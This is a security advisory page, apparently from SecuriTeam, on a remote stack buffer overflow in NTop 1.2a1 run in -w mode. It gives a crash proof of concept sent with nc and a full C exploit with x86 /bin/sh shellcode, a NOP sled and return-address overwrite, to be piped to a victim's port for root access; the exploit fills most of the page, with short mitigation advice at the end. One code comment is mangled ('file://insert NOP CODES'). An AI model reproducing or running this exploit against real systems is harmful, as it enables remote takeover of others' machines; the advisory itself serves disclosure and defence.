SecuriTeam - NTop -w remote buffer overflow (exploit code)

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

NTop has a stack-based buffer overflow when it's supplied with a very long filename. Since ntop is setuid root on some configuration, it is possible to gain administrative privileges on the remote machine.

Credit:
The information has been provided by JW Oh.

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Vulnerable systems:
NTop version 1.2a1

Proof of concept:
$ printf "GET /`perl -e 'print "A"x240'`\r\n\r\n" |nc localhost 8080

Exploit:
----------------------ntop-w-exp.c-----start-----------------------
#include <stdio.h>
#include <string.h>

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

void usage()
{
printf("NTOP ntop-1.2a1 -w mode command execution exploit.\n");
printf(" mat@hacksware.com\n");
printf("Usage : ./ntop-w-exp | nc victim port\n");
exit(0);
}

void main( int argc, char *argv[] )
{
  int i,offset=-24;
#define CODE_LEN 240
#define NOP_LEN 50
  char code_buf[CODE_LEN];
  unsigned long esp=0xbedffb00;

  if(argc >= 2) offset = atoi(argv[1]);

  memset(code_buf,0x90,NOP_LEN); file://insert NOP CODES
  memcpy(code_buf+NOP_LEN, shellcode, strlen(shellcode));
  for(i=strlen(shellcode)+NOP_LEN;i<=CODE_LEN;i+=4)
     *(long *)&code_buf[i]=(unsigned long)esp-offset;

  printf("GET /");
  for(i=0;i<CODE_LEN; i++)
  {
     putchar(code_buf[i]);
  }
  printf("\r\n\r\n");
}
-------------------------ntop-w-exp.c----end--------------------------

Temporary Solution:
1) Remove the setuid root, and run the program under a user such as nobody. This will limit the attack to gaining access of user nobody.
2) Block outside access to the NTop daemon (Restrict access to trusted network).

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